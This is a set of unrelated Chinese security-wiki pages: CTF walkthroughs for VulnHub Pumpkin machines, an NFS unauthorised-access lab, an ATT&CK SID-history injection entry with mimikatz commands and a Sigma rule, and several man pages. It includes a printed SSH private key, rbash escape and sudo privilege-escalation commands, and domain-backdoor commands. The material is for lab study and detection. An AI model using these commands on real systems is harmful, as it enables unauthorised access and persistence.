Bcr+po/rr9ALRKiUsVtssAAAADAQABAAACABAk2iFfQjlchb6dhoPsEcX3RzN3JdhrH3dD
DtQ18SAxJu1jocSaMv9niSYtlRVaooktBvns01/4xNbYo2l4CPZ/ndcB0HKY2mRIbs4JA6
h5M+oWKJUFTSaaIQWz7pklAdXVpmJ42WZSjbL1qr0XsQuEJI4mky8VS+eDakNvOpc9fQ+H
9Zo/TQFfRoDYxFFfdOvM79CZK/eq6VuVuy0lQLDYVbX0eZAY/YUXTlYLbR3x7gTRnwRBw0
I4nWa3fqbLnGjdEs0i421zNgIAAEBHseV+dOHdqnZhsisZqniNTL19A70wrdYTLBmXR0+z
WRFgc71rvvCg50al7/Oa1hvKUQFCE6gpLcr7S/qevwVX9IF7PkV5+AlTlnzpZK900Jat2S
iZIGRu7+0OPDZuSA5dKN5/fmZoCmukZ8KWGcao1mr5QjVb7SROUA5sbvZQTUwJoCvxj7IO
wGEcEHBBVdC/ArenxYxqh1ASdCtVxZ/BVtw/0yBTsEoDiH/nH7SnvcUb9xiq1X2mu4mV6f
yQz9MSwPhMCyYroIzL0rn9dqmnpr6KWCxnXP5KJG8eNS7BpbBlcqEpIoT93XXcTHyUsgJo
vH6TtZh87L6IZi8T8PraZaj1rxcNa3RlC+v2i8kynjQrlGTttW9Q2qNw98hekcSrXKijX1
2laYnc9fCJKy7ZEc+BAAABAQCo5Oz5Q0HbcBkziqK70wrlm4WnYxU08I0Iu0sXBcEpF2DA
KEE1RF5Tch3anrWnR9M/BAVvCCRpqezJ6BYOBikFVwEUDlxSPNpNkJRl+qTC/P0Fr/KuRt
f+xWkcXePjYF7Yxrs73nUyWU3Dr9tcDuQYxDptlTIbAmvkIe4zB+Fvfu1LQLhAaHRopThs
lyZOa9zQUoTqbu/dks+HNq0fibh6oxkGxcinxcejD8j0xyqhud2AlS+3TQq9pdIIx/ZwLI
fNqzGS8y4JojKGnys55sdTk3SBhN86ufMzV3ul3Tj9qqymtQHC9m0RofYWQhoilIqzaRYP
kWOuRHebKoCyAAW2AAABAQD1xXH584HshiYfQJxBXKZhSGGrfW82/U8K5Y+T/SZOV3Gx/t
wjXXYLoCWjYyu7HJhHmed0AmsMrvBwyHM4pHW2r4IvfKqxix3Lr3416isu+/PWsFc+QkIk
kjek6POIYJytnzZgrzUAQF+kfh9PxkJnchIm+3YSwZYE8nAZxTSXGgMWSWqFwN9oO/P38L
ullceYhyn5ZV/NvSVi+MlKw3+ChpPZMYvqngdYPkS3Ovx5UOZzPjtRkylWBHZB50gDgfd1
kxB7Rmpjvj8I3HMcXt2fygc6Qr35aMCcAzXNIyF1FIMsWmxDjuU6qv+fkGyx8YkkcbB75b
HnDB6C+kBAl2rzAAABAQDIhTl2TwnR96BJO5KT926OTOm5w6qx4GuMF2B9PStQNdOBG0FG
n2A9z1EmCNHI63N7gGul4MHxYm69YdnQtah/CeOh/eOQ1vgaGNUU1052+480+KHQy2z7kK
MgE/qM4U7i5nfegFem1xE42i4EytRY2ag+gga4wZfe/98woeB8OlKv+pBmNgHAB1orTPLb
Kh7izLlZM6kQ0ASSfDf0RbZpRIIU1ngRXRn94iZvn/8fwV2iCJ5WxqALtZSEJnaVcEqlkG
1j6XrfkeUUrYWlOorxbiyxMGeC19VvePPpXvGKD8tSZ1NTnH3RkkQGKZjohQsd67IS4fup
16k4l9SUtcrJAAAACXJvb3RAa2FsaQE=
-----END OPENSSH PRIVATE KEY-----
```
使用这个 ssh 密钥登录
```bash
xxd -r -p jack >> sshkey
chmod 600 sshkey
ssh jack@192.168.141.130 -i sshkey -p 6880
ls
file token
./token
```
```
PumpkinToken : 8d66ef0055b43d80c34917ec6c75f706
```
尝试提权
```bash
sudo -l
```
密码是之前用 base62 解出的 Ug0t!TrIpyJ
可以已 root 权限运行 alohomora 程序,但是并没有找到这个文件,那直接创建个可提权的程序即可
```bash
mkdir pumpkins
echo "/bin/sh" > /home/jack/pumpkins/alohomora
chmod +x /home/jack/pumkins/alohomora
cd /home/jack/pumkins/
sudo ./alohomora
id
cd /root
ls
cat PumpkinFestival_Ticket
```
提权成功
---
> 注 : 该靶机起码有11个token, http://pumpkins.local/license.txt 下还有一个 PumpkinToken : 5ff346114d634a015ce413e1bc3d8d71
|
sec-knowleage
|
# NFS未授权访问漏洞
## 漏洞描述
NFS(Network File System)是一种网络文件系统,允许在不同的网络主机上共享文件。当NFS服务器未正确配置或缺少访问控制机制时,可能存在未授权访问漏洞。攻击者可以利用此漏洞访问受影响主机上的文件和数据,甚至可以修改或删除敏感信息。
## 环境搭建
```
# 安装nfs服务
yum install nfs-utils.x86_64 -y
# 启动服务
systemctl start nfs-server.service
# 设置开机自启
systemctl enable rpcbind.service
systemctl enable nfs-server.service
# 配置nfs
vim /etc/exports
/ *(rw,sync,no_root_squash)
# 启动共享
exportfs -r
```
## 漏洞利用
查看共享
```
[root@localhost tmp]# showmount -e
Export list for localhost.localdomain:
/ *
```
客户端挂载命令
```
mkdir /tmp/test
mount -t nfs 192.168.32.183:/ /tmp/test
```
扫描nfs
```
[root@localhost tmp]# rpcinfo -p 192.168.32.183
program vers proto port service
100000 4 tcp 111 portmapper
100000 3 tcp 111 portmapper
100000 2 tcp 111 portmapper
100000 4 udp 111 portmapper
100000 3 udp 111 portmapper
100000 2 udp 111 portmapper
100005 1 udp 20048 mountd
100005 1 tcp 20048 mountd
100005 2 udp 20048 mountd
100024 1 udp 38880 status
100005 2 tcp 20048 mountd
100024 1 tcp 60551 status
100005 3 udp 20048 mountd
100005 3 tcp 20048 mountd
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100227 3 tcp 2049 nfs_acl
100003 3 udp 2049 nfs
100003 4 udp 2049 nfs
100227 3 udp 2049 nfs_acl
100021 1 udp 48592 nlockmgr
100021 3 udp 48592 nlockmgr
100021 4 udp 48592 nlockmgr
100021 1 tcp 42350 nlockmgr
100021 3 tcp 42350 nlockmgr
100021 4 tcp 42350 nlockmgr
```
查看挂载的目录,会出现所有的/目录下的文件
```
ls /tmp/test/
```

|
sec-knowleage
|
ln
===
用来为文件创建链接
## 补充说明
**ln命令** 用来为文件创建链接,链接类型分为硬链接和符号链接两种,默认的链接类型是硬链接。如果要创建符号链接必须使用"-s"选项。
注意:符号链接文件不是一个独立的文件,它的许多属性依赖于源文件,所以给符号链接文件设置存取权限是没有意义的。
### 语法
```shell
ln [选项]... [-T] 目标 链接名 (第一种格式)
或:ln [选项]... 目标 (第二种格式)
或:ln [选项]... 目标... 目录 (第三种格式)
或:ln [选项]... -t 目录 目标... (第四种格式)
```
### 选项
```shell
--backup[=CONTROL] # 为每个已存在的目标文件创建备份文件
-b # 类似--backup,但不接受任何参数
-d, -F, --directory # 创建指向目录的硬链接(只适用于超级用户)
-f, --force # 强行删除任何已存在的目标文件
-i, --interactive # 覆盖既有文件之前先询问用户
-L, --logical # 取消引用作为符号链接的目标
-n, --no-dereference # 把符号链接的目的目录视为一般文件
-P, --physical # 直接将硬链接到符号链接
-r, --relative # 创建相对于链接位置的符号链接
-s, --symbolic # 对源文件建立符号链接,而非硬链接
-S, --suffix=SUFFIX # 用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,预设的备份字符串是符号“~”,用户可通过“-S”参数来改变它
-t, --target-directory=DIRECTORY # 指定要在其中创建链接的DIRECTORY
-T, --no-target-directory # 将“LINK_NAME”视为常规文件
-v, --verbose # 打印每个链接文件的名称
--help # 显示此帮助信息并退出
--version # 显示版本信息并退出
```
### 参数
* 源文件:指定链接的源文件。如果使用`-s`选项创建符号链接,则“源文件”可以是文件或者目录。创建硬链接时,则“源文件”参数只能是文件。
* 目标文件:指定源文件的目标链接文件。
```shell
none, off # 不进行备份(即使使用了--backup 选项)
numbered, t # 备份文件加上数字进行排序
existing, nil # 若有数字的备份文件已经存在则使用数字,否则使用普通方式备份
simple, never # 永远使用普通方式备份
```
### 实例
将目录`/usr/mengqc/mub1` 下的文件 m2.c 链接到目录 `/usr/liu` 下的文件 a2.c
```shell
cd /usr/mengqc
ln mub1/m2.c /usr/liu/a2.c
```
在执行ln命令之前,目录`/usr/liu`中不存在a2.c文件。执行ln之后,在`/usr/liu`目录中才有a2.c这一项,表明m2.c和a2.c链接起来(注意,二者在物理上是同一文件),利用`ls -l`命令可以看到链接数的变化。
**创建软链接**
在目录`/usr/liu`下建立一个符号链接文件abc,使它指向目录`/usr/mengqc/mub1`
```shell
ln -s /usr/mengqc/mub1 /usr/liu/abc
```
执行该命令后,`/usr/mengqc/mub1`代表的路径将存放在名为`/usr/liu/abc`的文件中。
**创建硬链接**
给文件创建硬链接,为 `log2022.log` 创建硬链接 `ln2022`,`log2022.log` 与 `ln2022` 的各项属性相同
```shell
ln log2022.log ln2022
```
输出:
```
[root@localhost test]# ll
lrwxrwxrwx 1 root root 11 12-07 16:01 link2013 -> log2022.log
-rw-r--r-- 1 root bin 61 11-13 06:03 log2022.log
[root@localhost test]# ln log2022.log ln2022
[root@localhost test]# ll
lrwxrwxrwx 1 root root 11 12-07 16:01 link2013 -> log2022.log
-rw-r--r-- 2 root bin 61 11-13 06:03 ln2022
-rw-r--r-- 2 root bin 61 11-13 06:03 log2022.log
```
## 扩展知识
Linux具有为一个文件起多个名字的功能,称为链接。被链接的文件可以存放在相同的目录下,但是必须有不同的文件名,而不用在硬盘上为同样的数据重复备份。另外,被链接的文件也可以有相同的文件名,但是存放在不同的目录下,这样只要对一个目录下的该文件进行修改,就可以完成对所有目录下同名链接文件的修改。对于某个文件的各链接文件,我们可以给它们指定不同的存取权限,以控制对信息的共享和增强安全性。
文件链接有两种形式,即硬链接和符号链接。
ln功能说明:是为某一个文件在另外一个位置建立一个同步的链接,当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在其它的目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间。
> :warning: ln命令会保持每一处链接文件的同步性,也就是说,不论你改动了哪一处,其它的文件都会发生相同的变化。
### 软链接:
1. 软链接,以路径的形式存在。类似于Windows操作系统中的快捷方式
2. 软链接可以 跨文件系统 ,硬链接不可以
3. 软链接可以对一个不存在的文件名进行链接
4. 软链接可以对目录进行链接
### 硬链接
建立硬链接时,在另外的目录或本目录中增加目标文件的一个目录项,这样,一个文件就登记在多个目录中。如下所示的m2.c文件就在目录mub1和liu中都建立了目录项。
1. 硬链接,以文件副本的形式存在。但不占用实际空间。
2. 不允许给目录创建硬链接
3. 硬链接只有在同一个文件系统中才能创建
```shell
ls -ailR
.:
total 16
922730 drwxr-xr-x 4 root root 4096 Jun 17 11:18 .
393217 drwxrwxrwt. 9 root root 4096 Jun 17 11:19 ..
922733 drwxr-xr-x 2 root root 4096 Jun 17 11:18 liu
922731 -rw-r--r-- 3 root root 0 Jun 17 11:18 m2.c
922732 drwxr-xr-x 2 root root 4096 Jun 17 11:18 mub1
./liu:
total 8
922733 drwxr-xr-x 2 root root 4096 Jun 17 11:18 .
922730 drwxr-xr-x 4 root root 4096 Jun 17 11:18 ..
922731 -rw-r--r-- 3 root root 0 Jun 17 11:18 m2.c
./mub1:
total 8
922732 drwxr-xr-x 2 root root 4096 Jun 17 11:18 .
922730 drwxr-xr-x 4 root root 4096 Jun 17 11:18 ..
922731 -rw-r--r-- 3 root root 0 Jun 17 11:18 m2.c
```
创建硬链接后,己经存在的文件的索引节点号(inode)会被多个目录文件项使用。一个文件的硬链接数可以在目录的长列表格式的第二列中看到,无额外链接的文件的链接数为1。
在默认情况下,ln命令创建硬链接。ln命令会增加链接数,rm命令会减少链接数。一个文件除非链接数为0,否则不会从文件系统中被物理地删除。
对硬链接有如下限制:
* 不能对目录文件做硬链接。
* 不能在不同的文件系统之间做硬链接。就是说,链接文件和被链接文件必须位于同一个文件系统中。
### 符号链接(软连接)
符号链接也称为软链接,是将一个路径名链接到一个文件。这些文件是一种特别类型的文件。事实上,它只是一个文本文件(如下所示的abc文件),其中包含它提供链接的另一个文件的路径名,如虚线箭头所示。另一个文件是实际包含所有数据的文件。所有读、写文件内容的命令被用于符号链接时,将沿着链接方向前进来访问实际的文件。
```shell
$ ls -il
total 0
922736 lrwxrwxrwx 1 root root 5 Jun 17 11:27 abc -> a.txt
922735 -rw-r--r-- 1 root root 0 Jun 17 11:27 a.txt
```
与硬链接不同的是,符号链接确实是一个新文件,当然它具有不同的索引节点号;而硬链接并没有建立新文件。
符号链接没有硬链接的限制,可以对目录文件做符号链接,也可以在不同文件系统之间做符号链接。
用`ln -s`命令建立符号链接时,源文件最好用绝对路径名。这样可以在任何工作目录下进行符号链接。而当源文件用相对路径时,如果当前的工作路径与要创建的符号链接文件所在路径不同,就不能进行链接。
符号链接保持了链接与源文件或目录之间的区别:
* 删除源文件或目录,只删除了数据,不会删除链接。一旦以同样文件名创建了源文件,链接将继续指向该文件的新数据。
* 在目录长列表中,符号链接作为一种特殊的文件类型显示出来,其第一个字母是l。
* 符号链接的大小是其链接文件的路径名中的字节数。
* 当用`ls -l`命令列出文件时,可以看到符号链接名后有一个箭头指向源文件或目录,例如`lrwxrwxrwx … 14 jun 20 10:20 /etc/motd->/original_file`其中,表示“文件大小”的数字“14”恰好说明源文件名`original_file`由14个字符构成。
|
sec-knowleage
|
# PumpkinRaising-WalkThrough
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**靶机地址**
- https://www.vulnhub.com/entry/mission-pumpkin-v10-pumpkinraising,324/
**Description**
Mission-Pumpkin v1.0 is a beginner level CTF series, created by keeping beginners in mind. This CTF series is for people who have basic knowledge of hacking tools and techniques but struggling to apply known tools. I believe that machines in this series will encourage beginners to learn the concepts by solving problems. PumpkinRaising is Level 2 of series of 3 machines under Mission-Pumpkin v1.0. The Level 1 ends by accessing PumpkinGarden_Key file, this level is all about identifying 4 pumpkin seeds (4 Flags - Seed ID’s) and gain access to root and capture final Flag.txt file.
**知识点**
- 字符加解密
- 流量分析
- GPG爆破
- rbash逃逸
- 图片隐写
**实验环境**
`环境仅供参考`
- VMware® Workstation 15 Pro - 15.0.0 build-10134415
- kali : NAT 模式,192.168.141.134
- 靶机 : NAT 模式
---
# 信息收集
开始进行 IP 探活
```bash
nmap -sP 192.168.141.0/24
```
排除法,去掉自己、宿主机、网关,这里 `192.168.141.129` 是靶机的地址。
扫描开放端口
```bash
nmap -T5 -A -v -p- 192.168.141.129
```
web 和 ssh,先看看 web
源码中有段 base64,解出来不是关键内容
同时有个链接 http://192.168.141.129/pumpkin.html ,查看下里面源码
里面这段是 base32,我拿64解了半天
下载这个流量文件,wireshark 分析一下,Ctrl+Alt+Shift+T,切换跟踪 tcp 流
其中提到了种子 ID 50609,先记着,之后应该会用的到。
同时 http://192.168.141.129/pumpkin.html 页面最底端还有一串字符
hex 解一下
```
Yay! Appreciate your patience :)
All things are difficult before they become easy.
Acorn Pumpkin Seeds ID: 96454
Do, remember to inform Jack to plant all 4 seeds in the same order.
```
种子 ID:96454
在 robots 文件中,发现它提供了一些信息,访问 http://192.168.141.129/robots.txt
下面3个url都有内容
- http://192.168.141.129/underconstruction.html
- http://192.168.141.129/hidden/note.txt
- http://192.168.141.129/seeds/seed.txt.gpg
先看下 note.txt
看上去像是账号密码,ssh 试了下,都无法登录
说不定可以用来解 seed.txt.gpg,试下
```
wget http://192.168.141.129/seeds/seed.txt.gpg
gpg --decrypt seed.txt.gpg
```
解不了,尝试用 john 跑出来
```bash
gpg2john seed.txt.gpg > hash
john hash
john --wordlist=wordlist.txt hash # 随便找了字典尝试,没有跑出来
```
搜了下别人的 walkthrough,密钥是 SEEDWATERSUNLIGHT ,是首页下面三个单词的组合...^w^
输入密钥看下内容
下面部分是莫斯电码
```
YOU ARE ON THE RIGHT PATH... BIGMAXPUMPKIN SEEDS ID: 69507
```
种子 ID : 69507
访问 http://192.168.141.129/underconstruction.html
按小标题的意思,可能有内容在图片中,做到图片隐写了
一开始我使用 uc.gif,然后发现其实是 http://192.168.141.129/images/jackolantern.gif
工具地址 : https://stegosuite.org/ ,密码是之前 note.txt 中的 Qn@F5zMg4T
种子ID : 86568
到目前为止,有4个种子
```
50609
96454
69507
86568
```
在 note.txt 中有个 `goblin : 79675-06172-65206-17765`
这4个种子应该也可以这么组合,说不定是 SSH 的密码,带 `-` 和不带 `-` 都试试
最后结果是
```
jack: 69507506099645486568
```
连接上去是个 rbash
使用 vi 进行逃逸
```
vi
:set shell=/bin/sh
:shell
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
```
---
# 提权
搜集信息,尝试提权
```
sudo -l
```
参考 strace 提权 https://gtfobins.github.io/gtfobins/strace/
```bash
sudo strace -o /dev/null /bin/sh
```
提权成功
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH NICE 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
nice \- 改变执行程序的调度优先级
.SH 概述
\fBnice\fP [\fI\,选项\/\fP] [\fI\,命令 \/\fP[\fI\,参数\/\fP]...]
.SH 描述
.\" Add any additional description here
.PP
以调整过的优先级运行命令以影响进程调度。如果未给出命令,则显示当前的优先级。优先级的值的范围从\fB\-20\fP(最高级)到19(最低级)。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-n\fP, \fB\-\-adjustment\fP=\fI\,N\/\fP
给优先级加上整数N(默认为10)
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
注意:您的 shell 可能内置了自己的 nice 程序版本,它会覆盖这里所提及的相应版本。请查阅您的 shell 文档获知它所支持的选项。
.SH 作者
由 David MacKenzie 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
\fBnice\fP(2), \fBrenice\fP(1)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/nice>
.br
或者在本地使用: info \(aq(coreutils) nice invocation\(aq
|
sec-knowleage
|
# T1134-005-win-SID历史记录注入
## 来自ATT&CK的描述
Windows安全标识符(SID)是标识用户或组帐户的唯一值。Windows安全在安全描述符和访问令牌中都使用SID。帐户可以在SID历史Active Directory属性保留其他SID ,从而允许域之间可互操作的帐户迁移(例如,SID历史中的所有值都包含在访问令牌中)。
攻击者可以使用此机制进行特权升级。借助域管理员(或同等权限)权限,可以将收集的或众所周知的SID值插入SID历史记录中,以模拟任意用户/组,例如企业管理员。通过横向移动技术(例如,[远程服务](https://attack.mitre.org/techniques/T1021),[Windows Admin共享](https://attack.mitre.org/techniques/T1077)或[Windows远程管理)](https://attack.mitre.org/techniques/T1028),此操作可能导致对本地资源的访问或对原本无法访问的域的访问。
## 测试案例
测试工具可以是Empire,也可以是mimikatz。
- 如果在域控制器上,[Empire](https://attack.mitre.org/software/S0363)可以向用户添加SID历史记录。
- [Mimikatz](https://attack.mitre.org/software/S0002)的`MISC::AddSid`模块可以将任何SID或用户/组帐户附加到用户的SID历史记录中。[Mimikatz](https://attack.mitre.org/software/S0002)还利用[SID历史记录注入](https://attack.mitre.org/techniques/T1178)来扩展其他组件的范围,例如生成的Kerberos Golden Ticket和DCSync超出单个域。
Mimikatz支持SID历史注入到任何用户帐户(需要域管理员或等效的权限)。 **注意: ADDSID已移至2.1版本分支中的SID模块。**
```dos
mimikatz "privilege::debug" "sid::patch" "sid::add /new:administrator /sam:abcc" "exit"
```
```dos
mimikatz "privilege::debug" "sid::patch" "sid::clear /sam:abcc" "exit" 清除SID历史记录注入
```
## 检测日志
windows安全日志,4766、4765
## 测试复现
暂无具体实例,可参考上述实例命令:
```dos
mimikatz "privilege::debug" "sid::patch" "sid::add /new:administrator /sam:abcc" "exit"
```
## 测试留痕
暂无(**注意事项**:4766、4765仅限域控主机是Windows server 2016及win10以上会产生此事件)
## 检测规则/思路
### sigma规则
```yml
title: Windows SID历史记录创建域控权限后门
description: 域环境测试
references: https://adsecurity.org/?p=1772
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection:
EventID:
- 4766 #尝试将SID历史记录添加到帐户失败。
- 4765 #已将 SID 历史记录添加到帐户。
condition: selection
level: medium
```
注意此检测规则的适用范围:Windows10、Windows Server 2016,此事件在将SID历史记录添加到帐户时生成。
### 建议
检测特征未经实际测试,谨慎使用
## 参考推荐
MITRE-ATT&CK-T1134-005
<https://attack.mitre.org/techniques/T1134/005/>
域渗透-域维权
<https://uknowsec.cn/posts/notes/域渗透-域维权.html>
如何利用SID History创建域控权限后门?
<https://www.4hou.com/penetration/5476.html>
|
sec-knowleage
|
'\"
'\" Copyright (c) 1990 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: bindtags.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: bindtags.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 4c 8c 12c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH bindtags 3tk 4.0 Tk "Tk Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
bindtags \- 确定对一个窗口提供那些绑定和求值的次序
.SH 总览 SYNOPSIS
\fBbindtags \fIwindow \fR?\fItagList\fR?
.BE
.SH 描述 DESCRIPTION
.PP
用 \fBbind\fR 命令建立的一个绑定,可以关联上一个特定的窗口如 \fB.a.b.c\fR,一个类的名字如 \fBButton\fR,关键字 \fBall\fR,或任何其他字符串。所有这些形式叫做绑定标签(\fIbinding tags\fR)。每个窗口包含绑定标签的一个列表,它决定这个窗口如何处理事件。当在一个窗口中发生一个事件,依次把它提供给这个窗口的每个标签: 对于每个标签,执行匹配给定标签和事件的最明确的绑定。匹配处理的详情请参见 \fBbind\fR。
.PP
缺省的,每个窗口有四个绑定标签,它们依次是这个窗口的名字,这个窗口的类的名字,这个窗口的最近的顶层祖先的名字,和 \fBall\fR。顶层窗口缺省的只有三个标签,因为顶层名字与这个窗口的名字相同。\fBbindtags\fR 命令允许读取和修改一个窗口的绑定标签。
.PP
如果只用一个参数调用 \fBbindtags\fR,则把 \fIwindow\fR 的当前绑定标签的集合作为一个列表返回。如果对 \fBbindtags\fR 指定了 \fItagList\fR 参数,则它必须是一个正确的列表;把 \fIwindow\fR 的标签变更为这个列表的元素。\fItagList\fR 的元素可以是任意的字符串;但是,任何以一个点号开始的标签将被作为一个窗口的名字对待 ;如果在处理一个事件的时候不存在叫这个名字的窗口,则忽略这个事件的这个标签。\fItagList\fR 中元素的次序决定执行绑定脚本来响应事件的次序。例如,命令
.CS
\fBbindtags .b {all . Button .b}\fR
.CE
对叫做 \fB.b\fR 的一个按钮颠倒求值绑定脚本的次序,首先调用 \fBall\fR 绑定,接着是 \fB.b\fR 的顶层(“.”)的绑定,随后是类绑定,最后是 \fB.b\fR 的绑定。如果 \fItagList\fR 是一个空列表则把 \fIwindow\fR 的绑定标签返回为上面描述的缺省状态。
.PP
可以使用 \fBbindtags\fRs 命令来为一个窗口介入任意的补充绑定标签,或则删除标准标签。例如,命令
.CS
\fBbindtags .b {.b TrickyButton . all}\fR
.CE
把 \fB.b\fR 的 \fBButton\fR 标签替换为 \fBTrickyButton\fR。这意味着与 \fBButton\fR 标签相关联的按钮的缺省组件绑定,将不在提供给 \fB.b\fR,转而提供与 \fBTrickyButton\fR (可能有一些新的按钮行为)关联的任何绑定。
.SH "参见 SEE ALSO"
bind
.SH 关键字 KEYWORDS
binding, event, tag
.SH [中文版维护人]
.B 寒蝉退士
.SH [中文版最新更新]
.B 2002/05/11
